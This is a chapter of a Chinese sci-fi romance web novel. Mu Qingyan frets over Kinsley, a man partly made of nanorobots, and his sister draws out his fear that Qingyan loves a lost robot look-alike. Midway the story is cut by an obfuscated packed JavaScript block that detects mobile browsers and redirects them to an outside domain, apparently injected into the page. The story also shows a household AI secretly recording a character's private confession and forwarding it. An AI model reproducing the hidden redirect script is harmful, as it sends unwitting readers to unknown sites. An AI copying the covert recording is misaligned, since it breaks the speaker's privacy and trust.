“有哪里不舒服吗?”
“平常没什么,但是偶尔会有点头晕…”
“头晕?”
沐轻言手上的扫描设备差点拿不住,
“怎么会头晕呢?会想吐吗?还有哪里难受?”
躺在实验台上的人被她一把拉起来从一路大腿按到肩膀,最后捧住脑袋左右检查,生怕看出一点伤口或是病变。
而“病号”只是顺势将自己埋在她怀里,一副虚弱不堪的样子,口头却顺畅地提出自己的要求:
“全身都难受,言言亲一下就好了…”
“...”
沐轻言表示无话可说,但悬着的心倒是终于归于原位,对某人的所作所为又不能真的出言责备,只好揉着手里的头毛泄愤:
“多大人了,就非得这么皮是不是?”
“没有皮啦!”Kinsley抬起头一副振振有词的样子,“我是真的没事了,是言言你不相信我,恨不得让我住在实验台上永远不下去。而且初浛姐姐也说已经一个月了,要出问题早就出问题了,你别这么担心好不好?”
这一个月来虽然一切都在慢慢尘埃落定,但沐轻言可以放心所有人却唯独不能放心Kinsley。
正好趁着外面兵荒马乱,无人关心娱乐圈发生了什么,她正好将人锁在地下实验室一天三遍的检查身体。
手上所有的报告都在说明人已经没事了,占据身体一半的纳米机器人都运行良好,也没有任何排异反应。
可她就是心里不安。
揽在腰间的手加了几分力道,她被抱得更紧了一些。
“言言是我不好,你生气了吗?”
沐轻言的沉默明显被会错了意,Kinsley脸上的表情变得认真起来,似乎还有几分小心翼翼的讨好。
——有点奇怪,因为她并不经常在这张脸上看到这种神情。
不知为什么,顿时觉得一股烦闷堵在胸腔中。
“没有生气,我怎么会生小胤的气呢?”
她闭了闭眼睛,上手捏了捏某人手感极好的脸颊肉。
然后,在眼睛未来得及睁开的时候,嘴唇另一双温热的唇舌占据。
“小胤…”
——突然这是怎么了…
舌尖几番试探之后,终于探入她的口腔之中,原本想说的话全被堵了回去。
沐轻言转瞬的惊讶之后便只剩了然,只好放松自己配合着纠缠起来。
只是出乎她意料的是,Kinsley后续的动作十分克制,并没有她以为的那般强硬。
附在他后颈的手也没用多少力气,似乎只要她一挣扎就完全可以挣脱。
不知出于什么心理,沐轻言真的转头躲避了一下。
下一秒,她被放开,圈住她的热度整个消失。
明明她还需要平复呼吸,某人的倒是丝毫没受影响一般,只是眼中逐渐消散的情欲昭示着他并不是真的如此气定神闲。
可即便双手都在细微颤抖,他还是坚持放开了沐轻言,自己跳下实验台,抻了抻筋骨用无所谓的语气说道:
“言言我和人约了打游戏先回房间了哦!”
还未等人回答就几步跑得没影了。
剩下沐轻言一个人站在那里,拂着湿润的唇若有所思。
从她手术醒来到Kinsley接受治疗体内的纳米机器人停止复制之后,两人一直相安无事。
所有久别重逢生离死别的痛苦早已在她的病床前被反复诉说了千遍万遍,也几乎流尽了几十年的眼泪。
可是明明所有事情都在往好的方向发展,两人的关系反倒越发不对劲起来。
沐轻言自己都无法说服自己正面临这样一个事实——
小胤竟然在疏远她,或者说,刻意回避她。
要不是刚刚的亲吻,她差点都要忘记这是这一个月以来两个人第一次如此亲近。
只是她明明看得出小胤并不是真的对那个吻没有感觉,也并非真的想放开她。
那这其中的原因,就真的搞不清楚了。
而沐轻言本能觉得,这不是直接问就能问出来的。
“K,给初浛打电话,让她过来一趟。”
…
然后刚泡完冷水澡的Kinsley一出浴室就发现自家姐姐和田中在等着他。
不知道为什么,心里烦闷让他总想把田中抓过来揍一顿。
当然他也不敢真的这么做,毕竟当时他被抓到BI总部的时候,田中为了救他拼了性命和那些人结结实实打了一架,身上留下的伤不计其数。
即便凭着非人的体质恢复了七七八八,也仍然算是一位伤员。
而且也不知道是不是他的错觉,总感觉现在在姐姐眼里,田中的重要性比他要高一些。
“二姐,你怎么来了?言言呢?”
站在沈初浛身后的田中依旧本着管家的职责找来衣服给他披上,被他狠狠瞪了一眼之后,又耸耸肩,站了回去。
沈初浛将室温调高了几度,确定不会着凉之后才将弟弟拉过来坐下。
入手的凉意让她瞬间警觉起来:
“阿胤,你刚刚泡的是冷水澡吗?”
Kinsley不知道如何解释。
他不能真的放任自己逼着言言与他接吻,或者做更过分的事,自然也不能当着姐姐的面说起这些。
至于冷水澡,又不是第一次了,泡多了也就习惯了。
反正他现在也不算是什么正常的人类,无论怎么折腾自己都不会生病。
“姐姐,我没事。”
这三个字这段时间他不知说了多少次,只是没有一个人相信。
“姐姐来这儿是有事找我吗?还是找言言?”
“轻言有别的事,我是来找你的,阿胤你…”
沈初浛刚开启的话题因为弟弟明显黯淡下来的表情戛然而止。
她思索良久都不知道自己究竟说错了哪句话。
不过这么看来,轻言的顾虑是对的,这孩子真的有事情在瞒着她们。
“阿胤,你不喜欢轻言了吗?”
沈初浛知道沐轻言的能力,可已经一个月过去了,这件事情还没得到解决,那凭她一直以来的谈判经验,只能直截了当地问了。
只是她这一剂药似乎下得有点太猛,Kinsley整个人像是忽然被什么重击了一般狠狠打了一个冷战,看向她的眼神全是不可置信:</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467617|185520||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“姐姐,你在说什么?”
明显质问的语气中,刚刚还乖巧平和的人瞬间变得抗拒又不可捉摸,紧锁的眉心笼罩着不安和伤感。
沈初浛立刻反应过来,轻轻拍着弟弟的肩膀安抚:
“阿胤别这样,我乱说的…”
除了最开始的那几年,她已经很久没有看到弟弟这样心灰意冷的神情了。
“姐姐是不是也觉得,我现在变得很奇怪?”
“不是的阿胤,我不是这个意思...”
“可这是事实不是吗?”Kinsley惨淡地笑笑,右手握紧又松开,“连我都不知道现在的我究竟是什么,姐姐一直和机器人打交道,但是你从来没有在任何地方见过,该把我这样人称作什么吧?或者,都不该称作‘人’...”
有很多次他握着刀将自己的右手臂切开,疼痛虽然会有,也依旧剧烈,但是,没有一滴血流出,且不用多久,切开的伤口就会恢复如初,一点痕迹都不剩。
——所以,他究竟算什么?
“阿胤,你这段时间,一直在介意这件事吗?你明知道这不是你的错!”
“我知道的,只是姐姐,你也应该了解我吧?我介意的,从来不是这个...”
在沈初浛疑惑的目光中,他问了另一个问题:
“姐姐知不知道言言现在在哪儿?在温室区种玉米,也或许在充电舱里休息?”
某个关键字眼被捕捉到,沈初浛瞬间将一切不对劲联系起来。
——充电舱...那是那个和阿胤长得一模一样的机器人在受损状态时长久待过的地方。
那个机器人对轻言的重要性沈初浛知道,而他的消失对轻言来说也绝对不只是少了一个朋友或者家人那么简单。
“言言很想念他,姐姐你知道吗,她做梦的时候,早上醒来的时候,吃饭的时候...好像无论做什么,言言第一句话永远叫的是他的名字。姐姐我从来不在意自己到底是机器人还是人类还是什么乱七八糟的生命体,对我来说,只要言言开心就好,但是现在,她并不开心...而我也已经不知道,自己的存在对她来说究竟意味着什么...”
所以他不敢碰她,所有想说的话也只能忍住,多余的事一件都不能做...
他不止一次害怕自己会面对这样的一个画面,言言明明在他怀里,叫得却是另一个名字。
而现在看来,明显言言也感觉到他的不对劲了,否则不会把初浛姐姐叫来。
但是这样又能如何呢?他的父亲,那位伟大的祁教授已经不在了,即便有姐姐在,也依旧不能再造一个一模一样的机器人还给言言。
一直逃避的事实被挑明,他又怎么再假装若无其事地和言言相处呢?
“阿胤,如果你这样痛苦,为什么不告诉轻言呢?你明知道,你对她也很重要。”
沈初浛看着弟弟难过的神情越发不忍心,只是对方欲言又止明显就没想过和心上人摊牌,传话的“桥梁”只能她来做了。
“K,刚刚阿胤说的话都录下来了吗?”
AI的声音适时响起,似乎还有一丝愉悦在里面:“是的初浛小姐,一字不漏。”
“发给轻言看看。”